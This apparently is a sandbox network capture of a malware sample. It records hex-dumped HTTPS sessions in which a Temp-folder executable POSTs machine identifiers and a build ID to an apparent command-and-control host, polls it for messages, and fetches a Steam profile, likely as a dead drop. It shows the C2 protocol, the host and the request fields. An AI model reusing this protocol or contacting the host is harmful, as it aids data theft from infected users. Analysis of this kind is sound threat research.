2024-10-24 02:02:34 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 37 37 38 45 37 34 35 38 36 44 45 46 42 31 30 36 42 45 35 42 35 36 33 36 33 33 30 37 35 43 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"E778E74586DEFB106BE5B563633075C2--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-24 02:02:34 UTC	5075	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b6 b9 fe 28 58 da f6 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 36 d7 17 05 4b db 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e6 fa a3 60 69 db 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 db 5c 5f 14 2c 6d fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 9b eb 8f 82 a5 6d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 73 7d 51 b0 b4 ed a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 6d Data Ascii: (X6K~`iO\_,mi`m?ls}Qm
2024-10-24 02:02:35 UTC	1019	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:02:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=224o36icso120775vubu884h6o; expires=Sun, 16 Feb 2025 19:49:14 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qMDiA0igVbqlq0x2X0bkAPTR%2FvF4xr85Kp1VIDZG3bXv2%2Bai0%2BcxcPRlFiiItth51URUhEjlmDYCKV7iyU98xngBQdpgt0vciou6deQykyPefrN724SFRXhLzEjSo6LXMoFIvA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7662ae9be2e863-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1904&sent=16&recv=26&lost=0&retrans=0&sent_bytes=2846&recv_bytes=21458&delivery_rate=1476044&cwnd=236&unsent_bytes=0&cid=80317b06492f8cb9&ts=849&x=0"
2024-10-24 02:02:35 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 0d 0a Data Ascii: 11ok 173.254.250.71
2024-10-24 02:02:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.7	50034	104.21.53.8	443	2276	C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 02:02:37 UTC	371	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=fj3HoGcRnbcWXXGwjT7tpPbMM8LgNOliG4y5F3C.c8o-1729735346-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1252 Host: sergei-esenin.com
2024-10-24 02:02:37 UTC	1252	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 37 37 38 45 37 34 35 38 36 44 45 46 42 31 30 36 42 45 35 42 35 36 33 36 33 33 30 37 35 43 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"E778E74586DEFB106BE5B563633075C2--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-24 02:02:38 UTC	1028	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:02:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=sbla97tsr65mq1dhuov2egee2n; expires=Sun, 16 Feb 2025 19:49:17 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NnoF1UTizbg7mP6IQ6pmZWhQz%2FYR6yEjr%2FIC%2FlBIZIF7J0m0WZ9%2BXDHehifv%2FS4lmhH4Bq9F%2FOmvtGzjnVm4uJE1OxhbVomwV%2Fkhw%2FDtdlP10qLy%2B04sGRM8vPvgdc4QHUQQcg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7662c34fe96b05-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1255&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2844&recv_bytes=2259&delivery_rate=2205635&cwnd=251&unsent_bytes=0&cid=6127efdd11aa7ed3&ts=368&x=0"
2024-10-24 02:02:38 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 0d 0a Data Ascii: 11ok 173.254.250.71
2024-10-24 02:02:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.7	50036	104.21.53.8	443	2276	C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 02:02:39 UTC	371	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=fj3HoGcRnbcWXXGwjT7tpPbMM8LgNOliG4y5F3C.c8o-1729735346-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1431 Host: sergei-esenin.com
2024-10-24 02:02:39 UTC	1431	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 37 37 38 45 37 34 35 38 36 44 45 46 42 31 30 36 42 45 35 42 35 36 33 36 33 33 30 37 35 43 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"E778E74586DEFB106BE5B563633075C2--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-24 02:02:40 UTC	1015	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:02:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=hv1lk2dmc9rr1grjqr2mugpep8; expires=Sun, 16 Feb 2025 19:49:19 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0Iuvx75kmSOnUHVR2BPH0evXTsKOe8URU8xZ4n3RNbdWkpIdMZ5cewKa2u8a8bwpySiC2FRQaqylqDHXUSiDXi6ELHqDkJT9VxF%2Bm%2B3WkowYn0W%2BxdKKMRxJodp0dWgCsxh16w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7662ceef7b4614-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1119&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2438&delivery_rate=2560565&cwnd=32&unsent_bytes=0&cid=3ba2602aea9a216a&ts=556&x=0"
2024-10-24 02:02:40 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 0d 0a Data Ascii: 11ok 173.254.250.71
2024-10-24 02:02:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.7	50038	104.21.53.8	443	2276	C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 02:02:41 UTC	354	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=fj3HoGcRnbcWXXGwjT7tpPbMM8LgNOliG4y5F3C.c8o-1729735346-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: sergei-esenin.com
2024-10-24 02:02:41 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 45 37 37 38 45 37 34 35 38 36 44 45 46 42 31 30 36 42 45 35 42 35 36 33 36 33 33 30 37 35 43 32 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=E778E74586DEFB106BE5B563633075C2
2024-10-24 02:02:41 UTC	1018	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:02:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rvpfric4fsao3dgoc7cmcq903p; expires=Sun, 16 Feb 2025 19:49:20 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bZzuL7kQ5OAt%2FvufduiB9DH9wr4497Ix%2BzaDMFCvodY2VikCxUyGGPYCAud8uxqoNsv%2BhiaAletG5C4SM8Il3fNTKvTBllIZD5z0SsnZKGqlTCHa%2FLl6jnQqbnIn2GCUvKhrOw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7662d74c384767-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1202&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=1077&delivery_rate=1990378&cwnd=251&unsent_bytes=0&cid=634ebd0c8be525c8&ts=510&x=0"
2024-10-24 02:02:41 UTC	299	IN	Data Raw: 31 32 34 0d 0a 4c 70 55 36 64 62 58 65 45 36 4e 76 51 6d 45 49 47 65 57 7a 36 52 55 38 6f 77 78 4b 4c 68 4a 33 4f 42 74 50 64 65 32 30 68 58 6c 31 37 68 67 41 6c 2b 51 78 79 78 73 32 45 54 4a 46 79 75 2f 47 4a 41 53 57 49 6e 67 66 4a 31 6b 4a 4b 6e 78 62 33 49 4c 5a 56 6b 50 38 56 42 44 70 38 57 48 43 41 53 59 4f 5a 54 65 41 79 34 77 33 45 49 46 71 50 67 77 6f 52 78 51 35 4b 6c 66 58 68 50 68 56 56 62 64 50 56 34 2f 38 65 39 63 62 4d 6c 74 55 4e 72 6d 63 32 43 30 4a 6a 54 35 37 47 7a 78 47 43 53 68 68 52 4e 76 6f 71 67 70 61 38 46 73 59 36 66 46 68 77 67 45 6d 44 6d 55 33 67 4d 75 4d 4e 78 43 42 61 6a 34 4d 4b 45 63 55 4f 53 70 58 31 34 54 34 56 56 57 33 54 31 65 50 2f 48 76 58 47 7a 4a 62 56 44 61 35 6e 4e 67 74 43 59 30 2b 65 78 73 38 52 67 6b 6f 59 55 Data Ascii: 124LpU6dbXeE6NvQmEIGeWz6RU8owxKLhJ3OBtPde20hXl17hgAl+Qxyxs2ETJFyu/GJASWIngfJ1kJKnxb3ILZVkP8VBDp8WHCASYOZTeAy4w3EIFqPgwoRxQ5KlfXhPhVVbdPV4/8e9cbMltUNrmc2C0JjT57GzxGCShhRNvoqgpa8FsY6fFhwgEmDmU3gMuMNxCBaj4MKEcUOSpX14T4VVW3T1eP/HvXGzJbVDa5nNgtCY0+exs8RgkoYU
2024-10-24 02:02:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.7	50049	104.102.49.254	443	8092	C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 02:03:01 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-10-24 02:03:01 UTC	1917	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https:// [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Thu, 24 Oct 2024 02:03:01 GMT Content-Length: 35741 Connection: close Set-Cookie: sessionid=2c7d7e7a105545712b25c7b8; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cbcfeb0e5371aba24e9977faccad43253; Path=/; Secure; HttpOnly; SameSite=None
2024-10-24 02:03:01 UTC	14467	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-10-24 02:03:01 UTC	16384	IN	Data Raw: 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 64 69 73 63 75 73 73 69 6f 6e 73 2f 22 3e 0d 0a 09 09 09 09 09 09 44 69 73 63 75 73 73 69 6f 6e 73 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 77 6f 72 6b 73 68 6f 70 2f 22 3e 0d 0a 09 09 09 09 09 09 57 6f 72 6b 73 68 6f 70 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 Data Ascii: <a class="submenuitem" href="https://steamcommunity.com/discussions/">Discussions</a><a class="submenuitem" href="https://steamcommunity.com/workshop/">Workshop</a><a class="submenuit
2024-10-24 02:03:01 UTC	3768	IN	Data Raw: 63 31 63 64 66 65 62 5f 66 75 6c 6c 2e 6a 70 67 22 3e 0d 0a 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 62 61 64 67 65 69 6e 66 6f 22 3e 0d 0a 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 62 61 64 67 65 69 6e 66 6f 5f 62 61 64 67 65 5f 61 72 65 61 22 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 64 61 74 61 2d 70 61 6e 65 6c 3d 22 7b 26 71 75 6f 74 3b 66 6f 63 75 73 61 62 6c 65 26 71 75 6f 74 3b 3a 74 72 75 65 2c 26 71 75 6f 74 3b 63 6c 69 63 6b 4f 6e 41 63 74 69 76 61 74 65 26 71 75 6f 74 3b 3a 74 72 75 65 7d 22 20 63 6c 61 73 73 3d 22 70 65 Data Ascii: c1cdfeb_full.jpg"></div></div><div class="profile_header_badgeinfo"><div class="profile_header_badgeinfo_badge_area"><a data-panel="{"focusable":true,"clickOnActivate":true}" class="pe
2024-10-24 02:03:01 UTC	1122	IN	Data Raw: 70 72 6f 70 65 72 74 79 20 6f 66 20 74 68 65 69 72 20 72 65 73 70 65 63 74 69 76 65 20 6f 77 6e 65 72 73 20 69 6e 20 74 68 65 20 55 53 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 75 6e 74 72 69 65 73 2e 3c 62 72 2f 3e 53 6f 6d 65 20 67 65 6f 73 70 61 74 69 61 6c 20 64 61 74 61 20 6f 6e 20 74 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 70 72 6f 76 69 64 65 64 20 62 79 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 6c 69 6e 6b 66 69 6c 74 65 72 2f 3f 75 3d 68 74 74 70 25 33 41 25 32 46 25 32 46 77 77 77 2e 67 65 6f 6e 61 6d 65 73 2e 6f 72 67 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 72 65 6c 3d 22 20 6e 6f 6f 70 65 6e 65 72 22 3e 67 65 6f 6e 61 6d 65 73 2e 6f 72 67 3c 2f 61 3e 2e 09 09 Data Ascii: property of their respective owners in the US and other countries.<br/>Some geospatial data on this website is provided by <a href="https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org" target="_blank" rel=" noopener">geonames.org</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.7	50051	104.21.53.8	443	8092	C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 02:03:02 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: sergei-esenin.com
2024-10-24 02:03:02 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-24 02:03:02 UTC	556	IN	HTTP/1.1 403 Forbidden Date: Thu, 24 Oct 2024 02:03:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XLXbOUuPMLq5zYLgDqaAVE7jzyMmHZVzXav25xHBVgO8Kk7TXj4cnqIDbQA3LX21cSdcSV2h5S4N3KSqDODakx5Prgz%2B4mJvShJP5dOdWDWxhgGm6W1ANtbLAzozn0QiuJ06bQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d76635bfc1a2d3f-DFW
2024-10-24 02:03:02 UTC	813	IN	Data Raw: 31 31 35 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1154<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2024-10-24 02:03:02 UTC	1369	IN	Data Raw: 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 63 6f 6f 6b 69 65 45 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 Data Ascii: yles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElementById(
2024-10-24 02:03:02 UTC	1369	IN	Data Raw: 6e 61 67 65 6d 65 6e 74 2f 70 68 69 73 68 69 6e 67 2d 61 74 74 61 63 6b 2f 22 20 63 6c 61 73 73 3d 22 63 66 2d 62 74 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 34 30 34 30 34 30 3b 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 62 6f 72 64 65 72 3a 20 30 3b 22 3e 4c 65 61 72 6e 20 4d 6f 72 65 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 66 6f 72 6d 20 61 63 74 69 6f 6e 3d 22 2f 63 64 6e 2d 63 67 69 2f 70 68 69 73 68 2d 62 79 70 61 73 73 22 20 6d 65 74 68 6f 64 3d 22 47 45 54 22 20 65 6e 63 74 79 70 65 3d 22 74 65 78 74 2f 70 6c 61 69 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c Data Ascii: nagement/phishing-attack/" class="cf-btn" style="background-color: #404040; color: #fff; border: 0;">Learn More</a> <form 